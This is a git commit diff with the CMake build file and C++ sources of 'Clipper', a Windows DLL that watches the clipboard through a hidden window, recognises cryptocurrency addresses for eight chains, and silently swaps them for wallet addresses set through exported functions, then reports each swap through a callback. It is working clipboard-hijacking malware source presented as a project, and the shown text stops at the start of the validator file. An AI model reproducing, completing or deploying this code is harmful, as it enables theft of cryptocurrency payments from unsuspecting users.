initial commit
This commit is contained in:
Executable
+58
@@ -0,0 +1,58 @@
|
||||
cmake_minimum_required(VERSION 3.31)
|
||||
project(Clipper LANGUAGES CXX)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 23)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
|
||||
set(CLIPPER_BUILD_TEST "HEADER_ONLY"
|
||||
CACHE STRING "Test build mode: STATIC, HEADER_ONLY, NO"
|
||||
)
|
||||
|
||||
set_property(CACHE CLIPPER_BUILD_TEST PROPERTY STRINGS STATIC HEADER_ONLY NO)
|
||||
|
||||
add_library(ClipperCommon OBJECT
|
||||
src/Clipper.h
|
||||
src/WindowClassManager.hpp
|
||||
src/ClipboardOperations.hpp
|
||||
src/Clipboard.hpp
|
||||
src/AddressManager.hpp
|
||||
src/CallbackManager.hpp
|
||||
src/CryptocurrencyValidator.hpp
|
||||
src/CallbackManager.hpp
|
||||
src/ClipperImpl.hpp
|
||||
|
||||
src/Clipper.cpp
|
||||
src/WindowClassManager.cpp
|
||||
src/ClipboardOperations.cpp
|
||||
src/Clipboard.cpp
|
||||
src/AddressManager.cpp
|
||||
src/CallbackManager.cpp
|
||||
src/CryptocurrencyValidator.cpp
|
||||
src/ClipperImpl.cpp
|
||||
)
|
||||
|
||||
add_library(Clipper SHARED
|
||||
$<TARGET_OBJECTS:ClipperCommon>
|
||||
src/DllMain.cpp
|
||||
)
|
||||
|
||||
target_compile_definitions(ClipperCommon PRIVATE DLL_BUILD)
|
||||
|
||||
if (CLIPPER_BUILD_TEST STREQUAL "STATIC")
|
||||
add_executable(ClipperTest
|
||||
$<TARGET_OBJECTS:ClipperCommon>
|
||||
src/ClipperTest.cpp
|
||||
)
|
||||
target_compile_definitions(ClipperTest PRIVATE TEST_STATIC_BUILD)
|
||||
elseif (CLIPPER_BUILD_TEST STREQUAL "HEADER_ONLY")
|
||||
add_executable(ClipperTest
|
||||
src/Clipper.h
|
||||
src/ClipperTest.cpp
|
||||
)
|
||||
elseif (CLIPPER_BUILD_TEST STREQUAL "NO")
|
||||
else()
|
||||
message(FATAL_ERROR
|
||||
"Invalid value for CLIPPER_BUILD_TEST: ${CLIPPER_BUILD_TEST}\n"
|
||||
"Valid values: STATIC, HEADER_ONLY, NO"
|
||||
)
|
||||
endif()
|
||||
Executable
+161
@@ -0,0 +1,161 @@
|
||||
#include "AddressManager.hpp"
|
||||
#include "CryptocurrencyValidator.hpp"
|
||||
|
||||
AddressManager::AddressManager()
|
||||
{
|
||||
InitializeSRWLock(&mLock);
|
||||
|
||||
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
|
||||
mIsSet[i] = false;
|
||||
}
|
||||
|
||||
bool AddressManager::SetAddress(Cryptocurrency type, const std::wstring& address)
|
||||
{
|
||||
if (!IsValidType(type))
|
||||
return false;
|
||||
|
||||
size_t index = GetTypeIndex(type);
|
||||
|
||||
LockForWrite();
|
||||
mAddresses[index] = address;
|
||||
mIsSet[index] = true;
|
||||
UnlockFromWrite();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
std::wstring AddressManager::GetAddress(Cryptocurrency type) const
|
||||
{
|
||||
if (!IsValidType(type))
|
||||
return {};
|
||||
|
||||
size_t index = GetTypeIndex(type);
|
||||
|
||||
LockForRead();
|
||||
std::wstring result = mAddresses[index];
|
||||
UnlockFromRead();
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
bool AddressManager::HasAddress(Cryptocurrency type) const
|
||||
{
|
||||
if (!IsValidType(type))
|
||||
return false;
|
||||
|
||||
size_t index = GetTypeIndex(type);
|
||||
|
||||
LockForRead();
|
||||
bool result = mIsSet[index];
|
||||
UnlockFromRead();
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
bool AddressManager::IsAddressSet(Cryptocurrency type) const
|
||||
{
|
||||
return HasAddress(type);
|
||||
}
|
||||
|
||||
bool AddressManager::RemoveAddress(Cryptocurrency type)
|
||||
{
|
||||
if (!IsValidType(type))
|
||||
return false;
|
||||
|
||||
size_t index = GetTypeIndex(type);
|
||||
|
||||
LockForWrite();
|
||||
mAddresses[index].clear();
|
||||
mIsSet[index] = false;
|
||||
UnlockFromWrite();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void AddressManager::ClearAllAddresses()
|
||||
{
|
||||
LockForWrite();
|
||||
|
||||
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
|
||||
{
|
||||
mAddresses[i].clear();
|
||||
mIsSet[i] = false;
|
||||
}
|
||||
|
||||
UnlockFromWrite();
|
||||
}
|
||||
|
||||
size_t AddressManager::GetConfiguredCount() const
|
||||
{
|
||||
size_t count = 0;
|
||||
|
||||
LockForRead();
|
||||
|
||||
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
|
||||
{
|
||||
if (mIsSet[i])
|
||||
count++;
|
||||
}
|
||||
|
||||
UnlockFromRead();
|
||||
|
||||
return count;
|
||||
}
|
||||
|
||||
std::vector<Cryptocurrency> AddressManager::GetConfiguredTypes() const
|
||||
{
|
||||
std::vector<Cryptocurrency> types;
|
||||
|
||||
LockForRead();
|
||||
|
||||
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
|
||||
{
|
||||
if (mIsSet[i])
|
||||
types.push_back(static_cast<Cryptocurrency>(i));
|
||||
}
|
||||
|
||||
UnlockFromRead();
|
||||
|
||||
return types;
|
||||
}
|
||||
|
||||
bool AddressManager::ValidateAndSet(Cryptocurrency type, const std::wstring& address)
|
||||
{
|
||||
if (!IsValidType(type))
|
||||
return false;
|
||||
|
||||
if (!CryptocurrencyValidator::Validate(type, address))
|
||||
return false;
|
||||
|
||||
return SetAddress(type, address);
|
||||
}
|
||||
|
||||
bool AddressManager::IsValidType(Cryptocurrency type) const
|
||||
{
|
||||
return static_cast<size_t>(type) < Cryptocurrency::ElementsCount;
|
||||
}
|
||||
|
||||
size_t AddressManager::GetTypeIndex(Cryptocurrency type) const
|
||||
{
|
||||
return static_cast<size_t>(type);
|
||||
}
|
||||
|
||||
void AddressManager::LockForRead() const
|
||||
{
|
||||
AcquireSRWLockShared(&mLock);
|
||||
}
|
||||
|
||||
void AddressManager::UnlockFromRead() const
|
||||
{
|
||||
ReleaseSRWLockShared(&mLock);
|
||||
}
|
||||
|
||||
void AddressManager::LockForWrite()
|
||||
{
|
||||
AcquireSRWLockExclusive(&mLock);
|
||||
}
|
||||
|
||||
void AddressManager::UnlockFromWrite()
|
||||
{
|
||||
ReleaseSRWLockExclusive(&mLock);
|
||||
}
|
||||
Executable
+41
@@ -0,0 +1,41 @@
|
||||
#pragma once
|
||||
#include "Clipper.h"
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
#include <array>
|
||||
#include <vector>
|
||||
|
||||
class AddressManager
|
||||
{
|
||||
public:
|
||||
AddressManager();
|
||||
~AddressManager() noexcept = default;
|
||||
|
||||
bool SetAddress(Cryptocurrency type, const std::wstring& address);
|
||||
std::wstring GetAddress(Cryptocurrency type) const;
|
||||
|
||||
bool HasAddress(Cryptocurrency type) const;
|
||||
bool IsAddressSet(Cryptocurrency type) const;
|
||||
|
||||
bool RemoveAddress(Cryptocurrency type);
|
||||
void ClearAllAddresses();
|
||||
|
||||
size_t GetConfiguredCount() const;
|
||||
std::vector<Cryptocurrency> GetConfiguredTypes() const;
|
||||
|
||||
bool ValidateAndSet(Cryptocurrency type, const std::wstring& address);
|
||||
|
||||
private:
|
||||
bool IsValidType(Cryptocurrency type) const;
|
||||
size_t GetTypeIndex(Cryptocurrency type) const;
|
||||
|
||||
void LockForRead() const;
|
||||
void UnlockFromRead() const;
|
||||
void LockForWrite();
|
||||
void UnlockFromWrite();
|
||||
|
||||
std::array<std::wstring, Cryptocurrency::ElementsCount> mAddresses;
|
||||
std::array<bool, Cryptocurrency::ElementsCount> mIsSet;
|
||||
|
||||
mutable SRWLOCK mLock;
|
||||
};
|
||||
Executable
+147
@@ -0,0 +1,147 @@
|
||||
#include "CallbackManager.hpp"
|
||||
|
||||
CallbackManager::CallbackManager() : mCallback(nullptr), mInvocationCount(0)
|
||||
{
|
||||
InitializeSRWLock(&mLock);
|
||||
}
|
||||
|
||||
bool CallbackManager::SetCallback(ClipperActivationCallback callback)
|
||||
{
|
||||
if (!ValidateCallback(callback))
|
||||
return false;
|
||||
|
||||
LockForWrite();
|
||||
mCallback = callback;
|
||||
UnlockFromWrite();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
ClipperActivationCallback CallbackManager::GetCallback() const
|
||||
{
|
||||
LockForRead();
|
||||
ClipperActivationCallback callback = mCallback;
|
||||
UnlockFromRead();
|
||||
|
||||
return callback;
|
||||
}
|
||||
|
||||
bool CallbackManager::HasCallback() const
|
||||
{
|
||||
LockForRead();
|
||||
bool result = IsCallbackValid();
|
||||
UnlockFromRead();
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void CallbackManager::ClearCallback()
|
||||
{
|
||||
LockForWrite();
|
||||
mCallback = nullptr;
|
||||
UnlockFromWrite();
|
||||
}
|
||||
|
||||
void CallbackManager::InvokeCallback(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement)
|
||||
{
|
||||
LockForRead();
|
||||
ClipperActivationCallback callback = mCallback;
|
||||
UnlockFromRead();
|
||||
|
||||
if (callback)
|
||||
{
|
||||
callback(currency, replaced, replacement);
|
||||
IncrementInvocationCount();
|
||||
}
|
||||
}
|
||||
|
||||
void CallbackManager::InvokeCallbackSafe(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement)
|
||||
{
|
||||
CallbackInvocationData data = CreateInvocationData(currency, replaced, replacement);
|
||||
|
||||
if (!ValidateInvocationData(data))
|
||||
return;
|
||||
|
||||
InvokeCallback(currency, replaced, replacement);
|
||||
}
|
||||
|
||||
bool CallbackManager::ValidateCallback(ClipperActivationCallback callback) const
|
||||
{
|
||||
return callback != nullptr;
|
||||
}
|
||||
|
||||
size_t CallbackManager::GetInvocationCount() const
|
||||
{
|
||||
LockForRead();
|
||||
size_t count = mInvocationCount;
|
||||
UnlockFromRead();
|
||||
|
||||
return count;
|
||||
}
|
||||
|
||||
void CallbackManager::ResetInvocationCount()
|
||||
{
|
||||
LockForWrite();
|
||||
mInvocationCount = 0;
|
||||
UnlockFromWrite();
|
||||
}
|
||||
|
||||
void CallbackManager::LockForRead() const
|
||||
{
|
||||
AcquireSRWLockShared(&mLock);
|
||||
}
|
||||
|
||||
void CallbackManager::UnlockFromRead() const
|
||||
{
|
||||
ReleaseSRWLockShared(&mLock);
|
||||
}
|
||||
|
||||
void CallbackManager::LockForWrite()
|
||||
{
|
||||
AcquireSRWLockExclusive(&mLock);
|
||||
}
|
||||
|
||||
void CallbackManager::UnlockFromWrite()
|
||||
{
|
||||
ReleaseSRWLockExclusive(&mLock);
|
||||
}
|
||||
|
||||
bool CallbackManager::IsCallbackValid() const
|
||||
{
|
||||
return mCallback != nullptr;
|
||||
}
|
||||
|
||||
void CallbackManager::IncrementInvocationCount()
|
||||
{
|
||||
LockForWrite();
|
||||
mInvocationCount++;
|
||||
UnlockFromWrite();
|
||||
}
|
||||
|
||||
CallbackInvocationData CallbackManager::CreateInvocationData(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement) const
|
||||
{
|
||||
CallbackInvocationData data;
|
||||
data.Currency = currency;
|
||||
|
||||
if (replaced)
|
||||
data.ReplacedAddress = replaced;
|
||||
|
||||
if (replacement)
|
||||
data.ReplacementAddress = replacement;
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
bool CallbackManager::ValidateInvocationData(const CallbackInvocationData& data) const
|
||||
{
|
||||
if (static_cast<size_t>(data.Currency) >= Cryptocurrency::ElementsCount)
|
||||
return false;
|
||||
|
||||
if (data.ReplacedAddress.empty())
|
||||
return false;
|
||||
|
||||
if (data.ReplacementAddress.empty())
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
Executable
+47
@@ -0,0 +1,47 @@
|
||||
#pragma once
|
||||
#include "Clipper.h"
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
|
||||
struct CallbackInvocationData
|
||||
{
|
||||
Cryptocurrency Currency;
|
||||
std::wstring ReplacedAddress;
|
||||
std::wstring ReplacementAddress;
|
||||
};
|
||||
|
||||
class CallbackManager
|
||||
{
|
||||
public:
|
||||
CallbackManager();
|
||||
~CallbackManager() noexcept = default;
|
||||
|
||||
bool SetCallback(ClipperActivationCallback callback);
|
||||
ClipperActivationCallback GetCallback() const;
|
||||
bool HasCallback() const;
|
||||
void ClearCallback();
|
||||
|
||||
void InvokeCallback(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement);
|
||||
void InvokeCallbackSafe(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement);
|
||||
|
||||
bool ValidateCallback(ClipperActivationCallback callback) const;
|
||||
|
||||
size_t GetInvocationCount() const;
|
||||
void ResetInvocationCount();
|
||||
|
||||
private:
|
||||
void LockForRead() const;
|
||||
void UnlockFromRead() const;
|
||||
void LockForWrite();
|
||||
void UnlockFromWrite();
|
||||
|
||||
bool IsCallbackValid() const;
|
||||
void IncrementInvocationCount();
|
||||
|
||||
CallbackInvocationData CreateInvocationData(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement) const;
|
||||
bool ValidateInvocationData(const CallbackInvocationData& data) const;
|
||||
|
||||
ClipperActivationCallback mCallback;
|
||||
size_t mInvocationCount;
|
||||
mutable SRWLOCK mLock;
|
||||
};
|
||||
Executable
+160
@@ -0,0 +1,160 @@
|
||||
#include "Clipboard.hpp"
|
||||
#include "ClipboardOperations.hpp"
|
||||
|
||||
std::unique_ptr<Clipboard> Clipboard::sInstance = nullptr;
|
||||
|
||||
void Clipboard::Initialize(const wchar_t* windowClassName)
|
||||
{
|
||||
if (!sInstance)
|
||||
sInstance.reset(new Clipboard(windowClassName));
|
||||
}
|
||||
|
||||
void Clipboard::SetCallback(OnClipboardContentChangedCallback callback)
|
||||
{
|
||||
if (!sInstance)
|
||||
return;
|
||||
|
||||
AcquireSRWLockExclusive(&sInstance->mCallbackLock);
|
||||
sInstance->mCallback = std::move(callback);
|
||||
ReleaseSRWLockExclusive(&sInstance->mCallbackLock);
|
||||
}
|
||||
|
||||
void Clipboard::SetClipboardText(const std::wstring& newText)
|
||||
{
|
||||
if (!sInstance)
|
||||
return;
|
||||
|
||||
sInstance->SetClipboardTextImpl(newText);
|
||||
}
|
||||
|
||||
std::wstring Clipboard::GetClipboardText()
|
||||
{
|
||||
if (!sInstance)
|
||||
return {};
|
||||
|
||||
return sInstance->GetClipboardTextImpl();
|
||||
}
|
||||
|
||||
Clipboard::Clipboard(const wchar_t* windowClassName) : mWindowsClassName(windowClassName)
|
||||
{
|
||||
InitializeSRWLock(&mCallbackLock);
|
||||
|
||||
mhReadyEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
|
||||
|
||||
mWindowClassManager = std::make_unique<WindowClassManager>(windowClassName);
|
||||
|
||||
mhThread = CreateThread(nullptr, 0, ThreadProcStatic, this, 0, nullptr);
|
||||
|
||||
WaitForSingleObject(mhReadyEvent, INFINITE);
|
||||
CloseHandle(mhReadyEvent);
|
||||
mhReadyEvent = nullptr;
|
||||
}
|
||||
|
||||
Clipboard::~Clipboard()
|
||||
{
|
||||
if (mhWindow)
|
||||
PostMessageW(mhWindow, WM_QUIT, 0, 0);
|
||||
|
||||
if (mhThread)
|
||||
{
|
||||
WaitForSingleObject(mhThread, INFINITE);
|
||||
CloseHandle(mhThread);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD WINAPI Clipboard::ThreadProcStatic(LPVOID lpParam)
|
||||
{
|
||||
auto* clipboard = static_cast<Clipboard*>(lpParam);
|
||||
clipboard->ThreadMain();
|
||||
return 0;
|
||||
}
|
||||
|
||||
void Clipboard::ThreadMain()
|
||||
{
|
||||
if (!mWindowClassManager->Register(WndProc))
|
||||
{
|
||||
SetEvent(mhReadyEvent);
|
||||
return;
|
||||
}
|
||||
|
||||
mhWindow = CreateWindowExW(0, mWindowsClassName.c_str(), nullptr, 0, 0, 0, 0, 0, HWND_MESSAGE, nullptr, GetModuleHandleW(nullptr), nullptr);
|
||||
if (!mhWindow)
|
||||
{
|
||||
mWindowClassManager->Unregister();
|
||||
SetEvent(mhReadyEvent);
|
||||
return;
|
||||
}
|
||||
|
||||
SetWindowLongPtrW(mhWindow, GWLP_USERDATA, reinterpret_cast<LONG_PTR>(this));
|
||||
|
||||
if (!AddClipboardFormatListener(mhWindow))
|
||||
{
|
||||
DestroyWindow(mhWindow);
|
||||
mWindowClassManager->Unregister();
|
||||
SetEvent(mhReadyEvent);
|
||||
return;
|
||||
}
|
||||
|
||||
SetEvent(mhReadyEvent);
|
||||
|
||||
MSG msg;
|
||||
while (GetMessageW(&msg, nullptr, 0, 0) > 0)
|
||||
{
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessageW(&msg);
|
||||
}
|
||||
|
||||
RemoveClipboardFormatListener(mhWindow);
|
||||
DestroyWindow(mhWindow);
|
||||
mWindowClassManager->Unregister();
|
||||
}
|
||||
|
||||
LRESULT CALLBACK Clipboard::WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (msg != WM_CLIPBOARDUPDATE)
|
||||
return DefWindowProcW(hwnd, msg, wParam, lParam);
|
||||
|
||||
auto* self = reinterpret_cast<Clipboard*>(GetWindowLongPtrW(hwnd, GWLP_USERDATA));
|
||||
if (self && self->mCallback)
|
||||
{
|
||||
std::wstring text = self->GetClipboardTextImpl();
|
||||
if (!text.empty())
|
||||
{
|
||||
AcquireSRWLockShared(&self->mCallbackLock);
|
||||
auto callback = self->mCallback;
|
||||
ReleaseSRWLockShared(&self->mCallbackLock);
|
||||
|
||||
callback(text);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void Clipboard::SetClipboardTextImpl(const std::wstring& newText)
|
||||
{
|
||||
if (!mhWindow || !OpenClipboard(mhWindow))
|
||||
return;
|
||||
|
||||
EmptyClipboard();
|
||||
|
||||
HGLOBAL hMem = ClipboardOperations::CreateTextData(newText);
|
||||
if (hMem)
|
||||
SetClipboardData(CF_UNICODETEXT, hMem);
|
||||
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
std::wstring Clipboard::GetClipboardTextImpl()
|
||||
{
|
||||
if (!mhWindow || !OpenClipboard(mhWindow))
|
||||
return {};
|
||||
|
||||
std::wstring text;
|
||||
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
|
||||
if (hData)
|
||||
text = ClipboardOperations::ExtractTextData(hData);
|
||||
|
||||
CloseClipboard();
|
||||
return text;
|
||||
}
|
||||
Executable
+43
@@ -0,0 +1,43 @@
|
||||
#pragma once
|
||||
#include "WindowClassManager.hpp"
|
||||
#include <Windows.h>
|
||||
#include <functional>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
|
||||
using OnClipboardContentChangedCallback = std::function<void(const std::wstring& content)>;
|
||||
|
||||
class Clipboard
|
||||
{
|
||||
friend std::default_delete<Clipboard>;
|
||||
|
||||
public:
|
||||
static void Initialize(const wchar_t* windowClassName);
|
||||
|
||||
static void SetCallback(OnClipboardContentChangedCallback callback);
|
||||
static void SetClipboardText(const std::wstring& newText);
|
||||
static std::wstring GetClipboardText();
|
||||
|
||||
private:
|
||||
Clipboard(const wchar_t* windowClassName);
|
||||
~Clipboard();
|
||||
|
||||
static DWORD WINAPI ThreadProcStatic(LPVOID lpParam);
|
||||
void ThreadMain();
|
||||
static LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||
|
||||
void SetClipboardTextImpl(const std::wstring& newText);
|
||||
std::wstring GetClipboardTextImpl();
|
||||
|
||||
std::unique_ptr<WindowClassManager> mWindowClassManager;
|
||||
HWND mhWindow = nullptr;
|
||||
HANDLE mhThread = nullptr;
|
||||
HANDLE mhReadyEvent = nullptr;
|
||||
|
||||
const std::wstring mWindowsClassName;
|
||||
|
||||
OnClipboardContentChangedCallback mCallback = nullptr;
|
||||
SRWLOCK mCallbackLock;
|
||||
|
||||
static std::unique_ptr<Clipboard> sInstance;
|
||||
};
|
||||
Executable
+108
@@ -0,0 +1,108 @@
|
||||
#include "ClipboardOperations.hpp"
|
||||
|
||||
HGLOBAL ClipboardOperations::AllocateMemory(size_t size)
|
||||
{
|
||||
return GlobalAlloc(GMEM_MOVEABLE, size);
|
||||
}
|
||||
|
||||
void ClipboardOperations::FreeMemory(HGLOBAL hMem)
|
||||
{
|
||||
if (hMem)
|
||||
GlobalFree(hMem);
|
||||
}
|
||||
|
||||
void* ClipboardOperations::LockMemory(HGLOBAL hMem)
|
||||
{
|
||||
if (!hMem)
|
||||
return nullptr;
|
||||
|
||||
return GlobalLock(hMem);
|
||||
}
|
||||
|
||||
bool ClipboardOperations::UnlockMemory(HGLOBAL hMem)
|
||||
{
|
||||
if (!hMem)
|
||||
return false;
|
||||
|
||||
return GlobalUnlock(hMem) || GetLastError() == NO_ERROR;
|
||||
}
|
||||
|
||||
size_t ClipboardOperations::GetMemorySize(HGLOBAL hMem)
|
||||
{
|
||||
if (!hMem)
|
||||
return 0;
|
||||
|
||||
return GlobalSize(hMem);
|
||||
}
|
||||
|
||||
bool ClipboardOperations::IsMemoryValid(HGLOBAL hMem)
|
||||
{
|
||||
return hMem != nullptr && GetMemorySize(hMem) > 0;
|
||||
}
|
||||
|
||||
bool ClipboardOperations::CopyToMemory(HGLOBAL hMem, const void* data, size_t size)
|
||||
{
|
||||
if (!hMem || !data || size == 0)
|
||||
return false;
|
||||
|
||||
void* pLocked = LockMemory(hMem);
|
||||
if (!pLocked)
|
||||
return false;
|
||||
|
||||
memcpy(pLocked, data, size);
|
||||
UnlockMemory(hMem);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ClipboardOperations::CopyFromMemory(void* dest, HGLOBAL hMem, size_t size)
|
||||
{
|
||||
if (!dest || !hMem || size == 0)
|
||||
return false;
|
||||
|
||||
void* pLocked = LockMemory(hMem);
|
||||
if (!pLocked)
|
||||
return false;
|
||||
|
||||
memcpy(dest, pLocked, size);
|
||||
UnlockMemory(hMem);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
HGLOBAL ClipboardOperations::CreateTextData(const std::wstring& text)
|
||||
{
|
||||
size_t size = CalculateTextSize(text);
|
||||
HGLOBAL hMem = AllocateMemory(size);
|
||||
|
||||
if (!hMem)
|
||||
return nullptr;
|
||||
|
||||
if (!CopyToMemory(hMem, text.c_str(), size))
|
||||
{
|
||||
FreeMemory(hMem);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
return hMem;
|
||||
}
|
||||
|
||||
std::wstring ClipboardOperations::ExtractTextData(HGLOBAL hData)
|
||||
{
|
||||
if (!hData)
|
||||
return {};
|
||||
|
||||
wchar_t* pText = static_cast<wchar_t*>(LockMemory(hData));
|
||||
if (!pText)
|
||||
return {};
|
||||
|
||||
std::wstring result = pText;
|
||||
UnlockMemory(hData);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
size_t ClipboardOperations::CalculateTextSize(const std::wstring& text)
|
||||
{
|
||||
return (text.size() + 1) * sizeof(wchar_t);
|
||||
}
|
||||
Executable
+25
@@ -0,0 +1,25 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
|
||||
class ClipboardOperations
|
||||
{
|
||||
public:
|
||||
static HGLOBAL AllocateMemory(size_t size);
|
||||
static void FreeMemory(HGLOBAL hMem);
|
||||
|
||||
static void* LockMemory(HGLOBAL hMem);
|
||||
static bool UnlockMemory(HGLOBAL hMem);
|
||||
|
||||
static size_t GetMemorySize(HGLOBAL hMem);
|
||||
static bool IsMemoryValid(HGLOBAL hMem);
|
||||
|
||||
static bool CopyToMemory(HGLOBAL hMem, const void* data, size_t size);
|
||||
static bool CopyFromMemory(void* dest, HGLOBAL hMem, size_t size);
|
||||
|
||||
static HGLOBAL CreateTextData(const std::wstring& text);
|
||||
static std::wstring ExtractTextData(HGLOBAL hData);
|
||||
|
||||
private:
|
||||
static size_t CalculateTextSize(const std::wstring& text);
|
||||
};
|
||||
Executable
+12
@@ -0,0 +1,12 @@
|
||||
#include "Clipper.h"
|
||||
#include "ClipperImpl.hpp"
|
||||
|
||||
int clipper_set_wallet_address(Cryptocurrency currency, const wchar_t* address)
|
||||
{
|
||||
return Clipper::SetWalletAddress(currency, address);
|
||||
}
|
||||
|
||||
int clipper_set_on_activation_callback(ClipperActivationCallback callback)
|
||||
{
|
||||
return Clipper::SetCallback(callback);
|
||||
}
|
||||
Executable
+26
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
|
||||
#ifdef DLL_BUILD
|
||||
#define DLL_API __declspec(dllexport)
|
||||
#else
|
||||
#define DLL_API
|
||||
#endif
|
||||
|
||||
enum Cryptocurrency
|
||||
{
|
||||
Bitcoin, // BTC
|
||||
EVM, // ETH, USDT, USDC, BNB
|
||||
Monero, // XMR
|
||||
Litecoin, // LTC
|
||||
Tron, // USDT, TRX
|
||||
Solana, // SOL
|
||||
Ripple, // XRP
|
||||
Dogecoin, // DOGE
|
||||
|
||||
ElementsCount
|
||||
};
|
||||
|
||||
typedef void(*ClipperActivationCallback)(Cryptocurrency currency, const wchar_t* replacedAddress, const wchar_t* replacementAddress);
|
||||
|
||||
extern "C" DLL_API int clipper_set_wallet_address(Cryptocurrency currency, const wchar_t* address); // bool
|
||||
extern "C" DLL_API int clipper_set_on_activation_callback(ClipperActivationCallback callback); // bool
|
||||
Executable
+81
@@ -0,0 +1,81 @@
|
||||
#include "ClipperImpl.hpp"
|
||||
#include "Clipboard.hpp"
|
||||
#include "CryptocurrencyValidator.hpp"
|
||||
#include <optional>
|
||||
|
||||
Clipper::Clipper()
|
||||
{
|
||||
wchar_t s[] = { static_cast<wchar_t>(__TIME__[6]), L'X', static_cast<wchar_t>(__TIME__[7]), L'\0' };
|
||||
Clipboard::Initialize(s);
|
||||
}
|
||||
|
||||
Clipper& Clipper::GetInstance()
|
||||
{
|
||||
static Clipper instance;
|
||||
return instance;
|
||||
}
|
||||
|
||||
std::optional<Cryptocurrency> Clipper::IsCryptocurrencyAddress(const std::wstring& text)
|
||||
{
|
||||
if (CryptocurrencyValidator::Validate(Cryptocurrency::EVM, text))
|
||||
return Cryptocurrency::EVM;
|
||||
|
||||
if (CryptocurrencyValidator::Validate(Cryptocurrency::Bitcoin, text))
|
||||
return Cryptocurrency::Bitcoin;
|
||||
|
||||
if (CryptocurrencyValidator::Validate(Cryptocurrency::Litecoin, text))
|
||||
return Cryptocurrency::Litecoin;
|
||||
|
||||
if (CryptocurrencyValidator::Validate(Cryptocurrency::Tron, text))
|
||||
return Cryptocurrency::Tron;
|
||||
|
||||
if (CryptocurrencyValidator::Validate(Cryptocurrency::Ripple, text))
|
||||
return Cryptocurrency::Ripple;
|
||||
|
||||
if (CryptocurrencyValidator::Validate(Cryptocurrency::Dogecoin, text))
|
||||
return Cryptocurrency::Dogecoin;
|
||||
|
||||
if (CryptocurrencyValidator::Validate(Cryptocurrency::Monero, text))
|
||||
return Cryptocurrency::Monero;
|
||||
|
||||
if (CryptocurrencyValidator::Validate(Cryptocurrency::Solana, text))
|
||||
return Cryptocurrency::Solana;
|
||||
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
bool Clipper::SetWalletAddress(Cryptocurrency cryptocurrency, const wchar_t* address) noexcept
|
||||
{
|
||||
if (static_cast<size_t>(cryptocurrency) >= Cryptocurrency::ElementsCount || !address)
|
||||
return false;
|
||||
|
||||
std::wstring walletAdress = address;
|
||||
return GetInstance().mAddressManager.ValidateAndSet(cryptocurrency, walletAdress);
|
||||
}
|
||||
|
||||
bool Clipper::SetCallback(ClipperActivationCallback callback) noexcept
|
||||
{
|
||||
if (!callback)
|
||||
return false;
|
||||
|
||||
if (!GetInstance().mCallbackManager.SetCallback(callback))
|
||||
return false;
|
||||
|
||||
OnClipboardContentChangedCallback callbackWithValidation = [&](const std::wstring& content) -> void {
|
||||
auto cryptocurrency = IsCryptocurrencyAddress(content);
|
||||
if (!cryptocurrency)
|
||||
return;
|
||||
|
||||
std::wstring address = GetInstance().mAddressManager.GetAddress(cryptocurrency.value());
|
||||
|
||||
// prevent recursion
|
||||
if (address == content)
|
||||
return;
|
||||
|
||||
Clipboard::SetClipboardText(address);
|
||||
GetInstance().mCallbackManager.InvokeCallback(cryptocurrency.value(), content.c_str(), address.c_str());
|
||||
};
|
||||
|
||||
Clipboard::SetCallback(callbackWithValidation);
|
||||
return true;
|
||||
}
|
||||
Executable
+23
@@ -0,0 +1,23 @@
|
||||
#pragma once
|
||||
#include "Clipper.h"
|
||||
#include "AddressManager.hpp"
|
||||
#include "CallbackManager.hpp"
|
||||
#include <array>
|
||||
#include <optional>
|
||||
#include <string>
|
||||
|
||||
class Clipper
|
||||
{
|
||||
public:
|
||||
static bool SetWalletAddress(Cryptocurrency cryptocurrency, const wchar_t* address) noexcept;
|
||||
static bool SetCallback(ClipperActivationCallback callback) noexcept;
|
||||
|
||||
private:
|
||||
Clipper();
|
||||
static Clipper& GetInstance();
|
||||
|
||||
static std::optional<Cryptocurrency> IsCryptocurrencyAddress(const std::wstring& text);
|
||||
|
||||
AddressManager mAddressManager;
|
||||
CallbackManager mCallbackManager;
|
||||
};
|
||||
Executable
+3
@@ -0,0 +1,3 @@
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
}
|
||||
Executable
+339
@@ -0,0 +1,339 @@
|
||||
#include "CryptocurrencyValidator.hpp"
|
||||
|
||||
